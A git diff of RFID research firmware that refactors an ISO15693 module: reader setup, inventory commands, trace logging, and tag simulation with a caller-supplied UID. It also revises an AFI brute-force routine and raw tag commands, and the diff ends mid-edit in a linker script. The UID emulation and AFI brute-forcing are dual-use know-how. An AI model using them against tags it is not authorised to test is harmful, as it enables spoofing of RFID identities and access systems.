- Dbprintf("fin record"); + + Dbprintf("done"); + switch_off(); } - // Initialize the proxmark as iso15k reader // (this might produces glitches that confuse some tags -void Iso15693InitReader() { - LED_A_ON(); - LED_B_ON(); - LED_C_OFF(); - LED_D_OFF(); +void Iso15693InitReader(void) { + LEDsoff(); + clear_trace(); + set_tracing(true); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Setup SSC - // FpgaSetupSsc(); // Start from off (no field generated) FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); SpinDelay(10); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(); // Give the tags time to energize FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - SpinDelay(250); + SpinDelay(200); + + // Start the timer + StartCountSspClk(); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED ) DbpString("[+] Iso15693InitReader Exit"); LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); } /////////////////////////////////////////////////////////////////////// @@ -783,32 +682,24 @@ void Iso15693InitReader() { // Encode (into the ToSend buffers) an identify request, which is the first // thing that you must send to a tag to get a response. -static void BuildIdentifyRequest(void) -{ - uint8_t cmd[5]; +static void BuildIdentifyRequest(uint8_t *out) { - uint16_t crc; - // one sub-carrier, inventory, 1 slot, fast rate - // AFI is at bit 5 (1<<4) when doing an INVENTORY - cmd[0] = (1 << 2) | (1 << 5) | (1 << 1); - // inventory command code - cmd[1] = 0x01; + uint8_t cmd[CMD_ID_RESP] = {0, ISO15_CMD_INVENTORY, 0, 0, 0}; + // flags + cmd[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; // no mask cmd[2] = 0x00; - //Now the CRC - crc = Crc(cmd, 3); - cmd[3] = crc & 0xff; - cmd[4] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); + // CRC + AddCrc(cmd, 3); + // coding as high speed (1 out of 4) + CodeIso15693AsReader(cmd, CMD_ID_RESP); + memcpy(out, cmd, CMD_ID_RESP); } // uid is in transmission order (which is reverse of display order) -static void BuildReadBlockRequest(uint8_t *uid, uint8_t blockNumber ) -{ - uint8_t cmd[13]; - - uint16_t crc; +/* +static void BuildReadBlockRequest(uint8_t **out, uint8_t *uid, uint8_t blockNumber ) { + uint8_t cmd[CMD_READ_RESP] = {0,0,0,0,0,0,0,0,0,0,0,0,0}; // If we set the Option_Flag in this request, the VICC will respond with the secuirty status of the block // followed by teh block data // one sub-carrier, inventory, 1 slot, fast rate @@ -827,39 +718,36 @@ static void BuildReadBlockRequest(uint8_t *uid, uint8_t blockNumber ) cmd[9] = uid[7]; // 0xe0; // always e0 (not exactly unique) // Block number to read cmd[10] = blockNumber;//0x00; - //Now the CRC - crc = Crc(cmd, 11); // the crc needs to be calculated over 12 bytes - cmd[11] = crc & 0xff; - cmd[12] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); + // CRC + AddCrc(cmd, 11); + CodeIso15693AsReader(cmd, CMD_READ_RESP); + memcpy(out, cmd, CMD_ID_RESP); } +*/ // Now the VICC>VCD responses when we are simulating a tag - static void BuildInventoryResponse(void) -{ - uint8_t cmd[12]; +static void BuildInventoryResponse(uint8_t *out, uint8_t *uid) { + + uint8_t cmd[CMD_INV_RESP] = {0,0,0,0,0,0,0,0,0,0,0,0}; - uint16_t crc; // one sub-carrier, inventory, 1 slot, fast rate // AFI is at bit 5 (1<<4) when doing an INVENTORY - cmd[0] = 0; //(1 << 2) | (1 << 5) | (1 << 1); - cmd[1] = 0; + //(1 << 2) | (1 << 5) | (1 << 1); + cmd[0] = 0; // + cmd[1] = 0; // DSFID (data storage format identifier). 0x00 = not supported // 64-bit UID - cmd[2] = 0x32; - cmd[3]= 0x4b; - cmd[4] = 0x03; - cmd[5] = 0x01; - cmd[6] = 0x00; - cmd[7] = 0x10; - cmd[8] = 0x05; - cmd[9]= 0xe0; - //Now the CRC - crc = Crc(cmd, 10); - cmd[10] = crc & 0xff; - cmd[11] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); + cmd[2] = uid[7]; //0x32; + cmd[3] = uid[6]; //0x4b; + cmd[4] = uid[5]; //0x03; + cmd[5] = uid[4]; //0x01; + cmd[6] = uid[3]; //0x00; + cmd[7] = uid[2]; //0x10; + cmd[8] = uid[1]; //0x05; + cmd[9] = uid[0]; //0xe0; + // CRC + AddCrc(cmd, 10); + CodeIso15693AsReader(cmd, CMD_INV_RESP); + memcpy(out, cmd, CMD_ID_RESP); } // Universal Method for sending to and recv bytes from a tag @@ -868,53 +756,39 @@ static void BuildReadBlockRequest(uint8_t *uid, uint8_t blockNumber ) // **recv will return you a pointer to the received data // If you do not need the answer use NULL for *recv[] // return: lenght of received data -int SendDataTag(uint8_t *send, int sendlen, int init, int speed, uint8_t **recv) { +// logging enabled +int SendDataTag(uint8_t *send, int sendlen, bool init, int speed, uint8_t *outdata) { - int samples = 0; - int tsamples = 0; - int wait = 0; - int elapsed = 0; + int t_samples = 0, wait = 0, elapsed = 0, answer_len = 0; - LED_A_ON(); - LED_B_ON(); - LED_C_OFF(); - LED_D_OFF(); + LEDsoff(); - int answerLen=0; - uint8_t *answer = (((uint8_t *)BigBuf) + 3660); - if (recv!=NULL) memset(BigBuf + 3660, 0, 100); - if (init) Iso15693InitReader(); - - if (!speed) { - // low speed (1 out of 256) - CodeIso15693AsReader256(send, sendlen); - } else { - // high speed (1 out of 4) - CodeIso15693AsReader(send, sendlen); - } - + LED_A_ON(); - LED_B_OFF(); + + if (!speed) + CodeIso15693AsReader256(send, sendlen); // low speed (1 out of 256) + else + CodeIso15693AsReader(send, sendlen); // high speed (1 out of 4) + + LED_A_INV(); + + uint32_t time_start = GetCountSspClk(); + + TransmitTo15693Tag(ToSend, ToSendMax, &t_samples, &wait); + LogTrace(send, sendlen, time_start << 4, (GetCountSspClk() - time_start) << 4, NULL, true); - TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); // Now wait for a response - if (recv!=NULL) { - LED_A_OFF(); - LED_B_ON(); - answerLen = GetIso15693AnswerFromTag(answer, 100, &samples, &elapsed) ; - *recv=answer; + if (outdata != NULL) { + LED_B_INV(); + answer_len = GetIso15693AnswerFromTag(outdata, &elapsed); } - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); - - return answerLen; + LEDsoff(); + return answer_len; } - // -------------------------------------------------------------------- // Debug Functions // -------------------------------------------------------------------- @@ -922,523 +796,292 @@ int SendDataTag(uint8_t *send, int sendlen, int init, int speed, uint8_t **recv) // Decodes a message from a tag and displays its metadata and content #define DBD15STATLEN 48 void DbdecodeIso15693Answer(int len, uint8_t *d) { - char status[DBD15STATLEN+1]={0}; - uint16_t crc; + char status[DBD15STATLEN+1] = {0}; - if (len>3) { - if (d[0]&(1<<3)) - strncat(status,"ProtExt ",DBD15STATLEN); - if (d[0]&1) { + if (len > 3) { + if (d[0] & ( 1 << 3 )) + strncat(status, "ProtExt ", DBD15STATLEN); + if (d[0] & 1) { // error - strncat(status,"Error ",DBD15STATLEN); + strncat(status, "Error ", DBD15STATLEN); switch (d[1]) { case 0x01: - strncat(status,"01:notSupp",DBD15STATLEN); + strncat(status, "01: not supported", DBD15STATLEN); break; case 0x02: - strncat(status,"02:notRecog",DBD15STATLEN); + strncat(status, "02: not recognized", DBD15STATLEN); break; case 0x03: - strncat(status,"03:optNotSupp",DBD15STATLEN); + strncat(status, "03: opt not supported", DBD15STATLEN); break; case 0x0f: - strncat(status,"0f:noInfo",DBD15STATLEN); + strncat(status, "0F: no info", DBD15STATLEN); break; case 0x10: - strncat(status,"10:dontExist",DBD15STATLEN); + strncat(status, "10: dont exist", DBD15STATLEN); break; case 0x11: - strncat(status,"11:lockAgain",DBD15STATLEN); + strncat(status, "11: lock again", DBD15STATLEN); break; case 0x12: - strncat(status,"12:locked",DBD15STATLEN); + strncat(status, "12: locked", DBD15STATLEN); break; case 0x13: - strncat(status,"13:progErr",DBD15STATLEN); + strncat(status, "13: program error", DBD15STATLEN); break; case 0x14: - strncat(status,"14:lockErr",DBD15STATLEN); + strncat(status, "14: lock error", DBD15STATLEN); break; default: - strncat(status,"unknownErr",DBD15STATLEN); + strncat(status, "unknown error", DBD15STATLEN); } - strncat(status," ",DBD15STATLEN); + strncat(status ," " ,DBD15STATLEN); } else { - strncat(status,"NoErr ",DBD15STATLEN); + strncat(status ,"No error ", DBD15STATLEN); } - crc=Crc(d,len-2); - if ( (( crc & 0xff ) == d[len-2]) && (( crc >> 8 ) == d[len-1]) ) - strncat(status,"CrcOK",DBD15STATLEN); + if (CheckCrc(d, len)) + strncat(status, "[+] crc OK", DBD15STATLEN); else - strncat(status,"CrcFail!",DBD15STATLEN); + strncat(status, "[!] crc fail", DBD15STATLEN); - Dbprintf("%s",status); + if ( MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("%s", status); } } - - /////////////////////////////////////////////////////////////////////// // Functions called via USB/Client /////////////////////////////////////////////////////////////////////// -void SetDebugIso15693(uint32_t debug) { - DEBUG=debug; - Dbprintf("Iso15693 Debug is now %s",DEBUG?"on":"off"); - return; -} - - - //----------------------------------------------------------------------------- -// Simulate an ISO15693 reader, perform anti-collision and then attempt to read a sector +// Act as ISO15693 reader, perform anti-collision and then attempt to read a sector // all demodulation performed in arm rather than host. - greg //----------------------------------------------------------------------------- -void ReaderIso15693(uint32_t parameter) -{ - LED_A_ON(); - LED_B_ON(); - LED_C_OFF(); - LED_D_OFF(); - -//DbpString(parameter); - - //uint8_t *answer0 = (((uint8_t *)BigBuf) + 3560); // allow 100 bytes per reponse (way too much) - uint8_t *answer1 = (((uint8_t *)BigBuf) + 3660); // - uint8_t *answer2 = (((uint8_t *)BigBuf) + 3760); - uint8_t *answer3 = (((uint8_t *)BigBuf) + 3860); - //uint8_t *TagUID= (((uint8_t *)BigBuf) + 3960); // where we hold the uid for hi15reader -// int answerLen0 = 0; +// ok +// parameter is unused !?! +void ReaderIso15693(uint32_t parameter) { int answerLen1 = 0; - int answerLen2 = 0; - int answerLen3 = 0; - int i=0; // counter + //int answerLen2 = 0; + //int answerLen3 = 0; + int tsamples = 0, wait = 0, elapsed = 0; + + uint8_t uid[8] = {0,0,0,0,0,0,0,0}; + // set up device/fpga + Iso15693InitReader(); + + uint8_t *answer1 = BigBuf_malloc(50); + uint8_t *answer2 = BigBuf_malloc(50); + //uint8_t *answer3 = BigBuf_malloc(50); // Blank arrays - memset(BigBuf + 3660, 0, 300); - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Setup SSC - FpgaSetupSsc(); - - // Start from off (no field generated) - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); - - // Give the tags time to energize - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - SpinDelay(200); - - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); - - int samples = 0; - int tsamples = 0; - int wait = 0; - int elapsed = 0; - - // FIRST WE RUN AN INVENTORY TO GET THE TAG UID - // THIS MEANS WE CAN PRE-BUILD REQUESTS TO SAVE CPU TIME - uint8_t TagUID[8] = {0, 0, 0, 0, 0, 0, 0, 0}; // where we hold the uid for hi15reader - -// BuildIdentifyRequest(); -// //TransmitTo15693Tag(ToSend,ToSendMax+3,&tsamples, &wait); -// TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); // No longer ToSendMax+3 -// // Now wait for a response -// responseLen0 = GetIso15693AnswerFromTag(receivedAnswer0, 100, &samples, &elapsed) ; -// if (responseLen0 >=12) // we should do a better check than this -// { -// // really we should check it is a valid mesg -// // but for now just grab what we think is the uid -// TagUID[0] = receivedAnswer0[2]; -// TagUID[1] = receivedAnswer0[3]; -// TagUID[2] = receivedAnswer0[4]; -// TagUID[3] = receivedAnswer0[5]; -// TagUID[4] = receivedAnswer0[6]; -// TagUID[5] = receivedAnswer0[7]; -// TagUID[6] = receivedAnswer0[8]; // IC Manufacturer code -// DbpIntegers(TagUID[6],TagUID[5],TagUID[4]); -//} + memset(answer1, 0x00, 50); + memset(answer2, 0x00, 50); + //memset(answer3, 0x00, 50); // Now send the IDENTIFY command - BuildIdentifyRequest(); - //TransmitTo15693Tag(ToSend,ToSendMax+3,&tsamples, &wait); - TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); // No longer ToSendMax+3 + // FIRST WE RUN AN INVENTORY TO GET THE TAG UID + // THIS MEANS WE CAN PRE-BUILD REQUESTS TO SAVE CPU TIME + uint32_t time_start = GetCountSspClk(); + uint8_t cmd[CMD_ID_RESP] = {0}; + BuildIdentifyRequest( cmd ); + TransmitTo15693Tag(ToSend, ToSendMax, &tsamples, &wait); + LogTrace(cmd, CMD_ID_RESP, time_start << 4, (GetCountSspClk() - time_start) << 4, NULL, true); + // Now wait for a response - answerLen1 = GetIso15693AnswerFromTag(answer1, 100, &samples, &elapsed) ; - - if (answerLen1 >=12) // we should do a better check than this - { - - TagUID[0] = answer1[2]; - TagUID[1] = answer1[3]; - TagUID[2] = answer1[4]; - TagUID[3] = answer1[5]; - TagUID[4] = answer1[6]; - TagUID[5] = answer1[7]; - TagUID[6] = answer1[8]; // IC Manufacturer code - TagUID[7] = answer1[9]; // always E0 - - // Now send the SELECT command - // since the SELECT command is optional, we should not rely on it. -//// BuildSelectRequest(TagUID); -// TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); // No longer ToSendMax+3 - // Now wait for a response -/// answerLen2 = GetIso15693AnswerFromTag(answer2, 100, &samples, &elapsed); - - // Now send the MULTI READ command -// BuildArbitraryRequest(*TagUID,parameter); -/// BuildArbitraryCustomRequest(TagUID,parameter); -// BuildReadBlockRequest(*TagUID,parameter); -// BuildSysInfoRequest(*TagUID); - //TransmitTo15693Tag(ToSend,ToSendMax+3,&tsamples, &wait); -/// TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); // No longer ToSendMax+3 - // Now wait for a response -/// answerLen3 = GetIso15693AnswerFromTag(answer3, 100, &samples, &elapsed) ; + answerLen1 = GetIso15693AnswerFromTag(answer1, &elapsed) ; + // we should do a better check than this + if (answerLen1 >= 12) { + uid[0] = answer1[9]; // always E0 + uid[1] = answer1[8]; // IC Manufacturer code + uid[2] = answer1[7]; + uid[3] = answer1[6]; + uid[4] = answer1[5]; + uid[5] = answer1[4]; + uid[6] = answer1[3]; + uid[7] = answer1[2]; + + if ( MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("[+] UID = %02X%02X%02X%02X%02X%02X%02X%02X", + uid[0], uid[1], uid[2], uid[3], + uid[4], uid[5], uid[5], uid[6] + ); + } + // send UID back to client. + // arg0 = 1 = OK + // arg1 = len of response (12 bytes) + // arg2 = rtf + // asbytes = uid. + cmd_send(CMD_ACK, 1, sizeof(uid), 0, uid, sizeof(uid)); } - Dbprintf("%d octets read from IDENTIFY request:", answerLen1); - DbdecodeIso15693Answer(answerLen1,answer1); - Dbhexdump(answerLen1,answer1,true); + if ( MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("[+] %d octets read from IDENTIFY request:", answerLen1); + DbdecodeIso15693Answer(answerLen1, answer1); + Dbhexdump(answerLen1, answer1, true); + } - // UID is reverse - if (answerLen1>=12) - //Dbprintf("UID = %*D",8,TagUID," "); - Dbprintf("UID = %02hX%02hX%02hX%02hX%02hX%02hX%02hX%02hX",TagUID[7],TagUID[6],TagUID[5], - TagUID[4],TagUID[3],TagUID[2],TagUID[1],TagUID[0]); - - - Dbprintf("%d octets read from SELECT request:", answerLen2); - DbdecodeIso15693Answer(answerLen2,answer2); - Dbhexdump(answerLen2,answer2,true); - - Dbprintf("%d octets read from XXX request:", answerLen3); - DbdecodeIso15693Answer(answerLen3,answer3); - Dbhexdump(answerLen3,answer3,true); - - - // read all pages - if (answerLen1>=12 && DEBUG) { - i=0; - while (i<32) { // sanity check, assume max 32 pages - BuildReadBlockRequest(TagUID,i); - TransmitTo15693Tag(ToSend,ToSendMax,&tsamples, &wait); - answerLen2 = GetIso15693AnswerFromTag(answer2, 100, &samples, &elapsed); - if (answerLen2>0) { - Dbprintf("READ SINGLE BLOCK %d returned %d octets:",i,answerLen2); - DbdecodeIso15693Answer(answerLen2,answer2); - Dbhexdump(answerLen2,answer2,true); + // DEBUG read all pages +/* + if (answerLen1 >= 12 && MF_DBGLEVEL >= MF_DBG_EXTENDED) { + i = 0; + while ( i < 32 ) { // sanity check, assume max 32 pages + + cmdlen = BuildReadBlockRequest(cmd, uid, i); + + TransmitTo15693Tag(ToSend, ToSendMax, &tsamples, &wait); + LogTrace(cmd, cmdlen, time_start<<4, (GetCountSspClk()-time_start)<<4, NULL, true); + + answerLen2 = GetIso15693AnswerFromTag(answer2, &elapsed); + if (answerLen2 > 0) { + Dbprintf("READ SINGLE BLOCK %d returned %d octets:", i, answerLen2); + DbdecodeIso15693Answer(answerLen2, answer2); + Dbhexdump(answerLen2, answer2, true); if ( *((uint32_t*) answer2) == 0x07160101 ) break; // exit on NoPageErr } i++; } } - -// str2[0]=0; -// for(i = 0; i < responseLen3; i++) { -// itoa(str1,receivedAnswer3[i]); -// strncat(str2,str1,8); -// } -// DbpString(str2); - - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); +*/ + switch_off(); } // Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands // all demodulation performed in arm rather than host. - greg -void SimTagIso15693(uint32_t parameter) -{ - LED_A_ON(); - LED_B_ON(); - LED_C_OFF(); - LED_D_OFF(); - - uint8_t *answer1 = (((uint8_t *)BigBuf) + 3660); // - int answerLen1 = 0; - - // Blank arrays - memset(answer1, 0, 100); - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Setup SSC - FpgaSetupSsc(); - - // Start from off (no field generated) - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - +void SimTagIso15693(uint32_t parameter, uint8_t *uid) { + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); FpgaSetupSsc(); - - // Give the tags time to energize -// FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); // NO GOOD FOR SIM TAG!!!! + // Start from off (no field generated) + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); SpinDelay(200); + + LED_A_ON(); + + uint32_t time_start = 0; + int ans = 0, samples = 0, tsamples = 0; + int wait = 0, elapsed = 0; + + Dbprintf("ISO-15963 Simulating uid: %02X%02X%02X%02X%02X%02X%02X%02X", uid[0], uid[1], uid[2], uid[3], uid[4], uid[5], uid[6], uid[7]); + + uint8_t buf[ISO15_MAX_FRAME]; + memset(buf, 0x00, sizeof(buf)); - LED_A_OFF(); - LED_B_OFF(); LED_C_ON(); - LED_D_OFF(); - int samples = 0; - int tsamples = 0; - int wait = 0; - int elapsed = 0; + // Build a suitable reponse to the reader INVENTORY cocmmand + // not so obsvious, but in the call to BuildInventoryResponse, the command is copied to the global ToSend buffer used below. + uint8_t cmd[CMD_INV_RESP] = {0}; + BuildInventoryResponse(cmd, uid); + + while (!BUTTON_PRESS() && !usb_poll_validate_length() ) { + WDT_HIT(); + + // Listen to reader + ans = GetIso15693AnswerFromSniff(buf, &samples, &elapsed) ; - answerLen1 = GetIso15693AnswerFromSniff(answer1, 100, &samples, &elapsed) ; - - if (answerLen1 >=1) // we should do a better check than this - { - // Build a suitable reponse to the reader INVENTORY cocmmand - BuildInventoryResponse(); - TransmitTo15693Reader(ToSend,ToSendMax, &tsamples, &wait); + // we should do a better check than this + if (ans >= 1 ) { + + time_start = GetCountSspClk(); + TransmitTo15693Reader(ToSend, ToSendMax, &tsamples, &wait); + LogTrace(cmd, CMD_INV_RESP, time_start << 4, (GetCountSspClk() - time_start) << 4, NULL, true); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("[+] %d octets read from reader command: %x %x %x %x %x %x %x %x", ans, + buf[0], buf[1], buf[2], buf[3], + buf[4], buf[5], buf[6], buf[7] + ); + } + } } - - Dbprintf("%d octets read from reader command: %x %x %x %x %x %x %x %x %x", answerLen1, - answer1[0], answer1[1], answer1[2], - answer1[3], answer1[4], answer1[5], - answer1[6], answer1[7], answer1[8]); - - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); + switch_off(); } - // Since there is no standardized way of reading the AFI out of a tag, we will brute force it // (some manufactures offer a way to read the AFI, though) -void BruteforceIso15693Afi(uint32_t speed) -{ - uint8_t data[20]; - uint8_t *recv=data; - int datalen=0, recvlen=0; - +void BruteforceIso15693Afi(uint32_t speed) { + + uint8_t data[7] = {0,0,0,0,0,0,0}; + uint8_t buf[ISO15_MAX_FRAME]; + memset(buf, 0x00, sizeof(buf)); + int datalen = 0, recvlen = 0; + Iso15693InitReader(); // first without AFI // Tags should respond wihtout AFI and with AFI=0 even when AFI is active - data[0]=ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; - data[1]=ISO15_CMD_INVENTORY; - data[2]=0; // mask length - datalen=AddCrc(data,3); - recvlen=SendDataTag(data,datalen,0,speed,&recv); + data[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; + data[1] = ISO15_CMD_INVENTORY; + data[2] = 0; // mask length + AddCrc(data, 3); + datalen += 2; + + recvlen = SendDataTag(data, datalen, false, speed, buf); + WDT_HIT(); - if (recvlen>=12) { - Dbprintf("NoAFI UID=%s",sprintUID(NULL,&recv[2])); + + if (recvlen >= 12) { + Dbprintf("NoAFI UID = %s", sprintUID(NULL, buf + 2) ); } // now with AFI + data[0] |= ISO15_REQINV_AFI; + //data[1] = ISO15_CMD_INVENTORY; + data[2] = 0; // AFI + data[3] = 0; // mask length - data[0]=ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_INVENTORY | ISO15_REQINV_AFI | ISO15_REQINV_SLOT1; - data[1]=ISO15_CMD_INVENTORY; - data[2]=0; // AFI - data[3]=0; // mask length - - for (int i=0;i<256;i++) { - data[2]=i & 0xFF; - datalen=AddCrc(data,4); - recvlen=SendDataTag(data,datalen,0,speed,&recv); + for (uint16_t i = 0; i < 256; i++) { + data[2] = i & 0xFF; + AddCrc(data, 4); + datalen += 2; + recvlen = SendDataTag(data, datalen, false, speed, buf); WDT_HIT(); - if (recvlen>=12) { - Dbprintf("AFI=%i UID=%s",i,sprintUID(NULL,&recv[2])); + if (recvlen >= 12) { + Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2) ); + } + + if (BUTTON_PRESS()) { + DbpString("button pressed, aborting.."); + break; } } - Dbprintf("AFI Bruteforcing done."); + DbpString("AFI Bruteforcing done."); + switch_off(); } // Allows to directly send commands to the tag via the client -void DirectTag15693Command(uint32_t datalen,uint32_t speed, uint32_t recv, uint8_t data[]) { +// Has to increase dialog between device and client. +void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data) { - int recvlen=0; - uint8_t *recvbuf=(uint8_t *)BigBuf; -// UsbCommand n; - - if (DEBUG) { - Dbprintf("SEND"); - Dbhexdump(datalen,data,true); + bool init = true; + int buflen = 0; + uint8_t buf[ISO15_MAX_FRAME]; + memset(buf, 0x00, sizeof(buf)); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + DbpString("[+] SEND"); + Dbhexdump(datalen, data, true); } - recvlen=SendDataTag(data,datalen,1,speed,(recv?&recvbuf:NULL)); - + buflen = SendDataTag(data, datalen, init, speed, (recv ? buf : NULL)); + if (recv) { -// n.cmd=/* CMD_ISO_15693_COMMAND_DONE */ CMD_ACK; -// n.arg[0]=recvlen>48?48:recvlen; -// memcpy(n.d.asBytes, recvbuf, 48); + buflen = (buflen > ISO15_MAX_FRAME) ? ISO15_MAX_FRAME : buflen; + LED_B_ON(); - cmd_send(CMD_ACK,recvlen>48?48:recvlen,0,0,recvbuf,48); -// UsbSendPacket((uint8_t *)&n, sizeof(n)); + cmd_send(CMD_ACK, buflen, 0, 0, buf, buflen); LED_B_OFF(); - if (DEBUG) { - Dbprintf("RECV"); - DbdecodeIso15693Answer(recvlen,recvbuf); - Dbhexdump(recvlen,recvbuf,true); + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + DbpString("[+] RECV"); + DbdecodeIso15693Answer(buflen, buf); + Dbhexdump(buflen, buf, true); } + } else { + cmd_send(CMD_ACK,1,0,0,0,0); } - -} - - - - -// -------------------------------------------------------------------- -// -- Misc & deprecated functions -// -------------------------------------------------------------------- - -/* - -// do not use; has a fix UID -static void __attribute__((unused)) BuildSysInfoRequest(uint8_t *uid) -{ - uint8_t cmd[12]; - - uint16_t crc; - // If we set the Option_Flag in this request, the VICC will respond with the secuirty status of the block - // followed by teh block data - // one sub-carrier, inventory, 1 slot, fast rate - cmd[0] = (1 << 5) | (1 << 1); // no SELECT bit - // System Information command code - cmd[1] = 0x2B; - // UID may be optionally specified here - // 64-bit UID - cmd[2] = 0x32; - cmd[3]= 0x4b; - cmd[4] = 0x03; - cmd[5] = 0x01; - cmd[6] = 0x00; - cmd[7] = 0x10; - cmd[8] = 0x05; - cmd[9]= 0xe0; // always e0 (not exactly unique) - //Now the CRC - crc = Crc(cmd, 10); // the crc needs to be calculated over 2 bytes - cmd[10] = crc & 0xff; - cmd[11] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); -} - - -// do not use; has a fix UID -static void __attribute__((unused)) BuildReadMultiBlockRequest(uint8_t *uid) -{ - uint8_t cmd[14]; - - uint16_t crc; - // If we set the Option_Flag in this request, the VICC will respond with the secuirty status of the block - // followed by teh block data - // one sub-carrier, inventory, 1 slot, fast rate - cmd[0] = (1 << 5) | (1 << 1); // no SELECT bit - // READ Multi BLOCK command code - cmd[1] = 0x23; - // UID may be optionally specified here - // 64-bit UID - cmd[2] = 0x32; - cmd[3]= 0x4b; - cmd[4] = 0x03; - cmd[5] = 0x01; - cmd[6] = 0x00; - cmd[7] = 0x10; - cmd[8] = 0x05; - cmd[9]= 0xe0; // always e0 (not exactly unique) - // First Block number to read - cmd[10] = 0x00; - // Number of Blocks to read - cmd[11] = 0x2f; // read quite a few - //Now the CRC - crc = Crc(cmd, 12); // the crc needs to be calculated over 2 bytes - cmd[12] = crc & 0xff; - cmd[13] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); -} - -// do not use; has a fix UID -static void __attribute__((unused)) BuildArbitraryRequest(uint8_t *uid,uint8_t CmdCode) -{ - uint8_t cmd[14]; - - uint16_t crc; - // If we set the Option_Flag in this request, the VICC will respond with the secuirty status of the block - // followed by teh block data - // one sub-carrier, inventory, 1 slot, fast rate - cmd[0] = (1 << 5) | (1 << 1); // no SELECT bit - // READ BLOCK command code - cmd[1] = CmdCode; - // UID may be optionally specified here - // 64-bit UID - cmd[2] = 0x32; - cmd[3]= 0x4b; - cmd[4] = 0x03; - cmd[5] = 0x01; - cmd[6] = 0x00; - cmd[7] = 0x10; - cmd[8] = 0x05; - cmd[9]= 0xe0; // always e0 (not exactly unique) - // Parameter - cmd[10] = 0x00; - cmd[11] = 0x0a; - -// cmd[12] = 0x00; -// cmd[13] = 0x00; //Now the CRC - crc = Crc(cmd, 12); // the crc needs to be calculated over 2 bytes - cmd[12] = crc & 0xff; - cmd[13] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); -} - -// do not use; has a fix UID -static void __attribute__((unused)) BuildArbitraryCustomRequest(uint8_t uid[], uint8_t CmdCode) -{ - uint8_t cmd[14]; - - uint16_t crc; - // If we set the Option_Flag in this request, the VICC will respond with the secuirty status of the block - // followed by teh block data - // one sub-carrier, inventory, 1 slot, fast rate - cmd[0] = (1 << 5) | (1 << 1); // no SELECT bit - // READ BLOCK command code - cmd[1] = CmdCode; - // UID may be optionally specified here - // 64-bit UID - cmd[2] = 0x32; - cmd[3]= 0x4b; - cmd[4] = 0x03; - cmd[5] = 0x01; - cmd[6] = 0x00; - cmd[7] = 0x10; - cmd[8] = 0x05; - cmd[9]= 0xe0; // always e0 (not exactly unique) - // Parameter - cmd[10] = 0x05; // for custom codes this must be manufcturer code - cmd[11] = 0x00; - -// cmd[12] = 0x00; -// cmd[13] = 0x00; //Now the CRC - crc = Crc(cmd, 12); // the crc needs to be calculated over 2 bytes - cmd[12] = crc & 0xff; - cmd[13] = crc >> 8; - - CodeIso15693AsReader(cmd, sizeof(cmd)); -} - - - - -*/ - - +} \ No newline at end of file diff --git a/armsrc/ldscript b/armsrc/ldscript index d0be3b6a0..34da26bcd 100644 --- a/armsrc/ldscript +++ b/armsrc/ldscript @@ -11,8 +11,7 @@ INCLUDE ../common/ldscript.common PHDRS { - fpgaimage PT_LOAD FLAGS(4); - text PT_LOAD; + text PT_LOAD FLAGS(5); data PT_LOAD; bss PT_LOAD; } @@ -20,16 +19,12 @@ PHDRS ENTRY(Vector) SECTIONS { - .fpgaimage : { - *(fpga_lf_bit.data) - *(fpga_hf_bit.data) - } >fpgaimage :fpgaimage - .start : { *(.startos) } >osimage :text .text : { + KEEP(*(stage1_image)) *(.text) *(.text.*) *(.eh_frame) @@ -40,12 +35,13 @@ SECTIONS .rodata : { *(.rodata) *(.rodata.*) + *(fpga_all_bit.data) KEEP(*(.version_information)) + . = 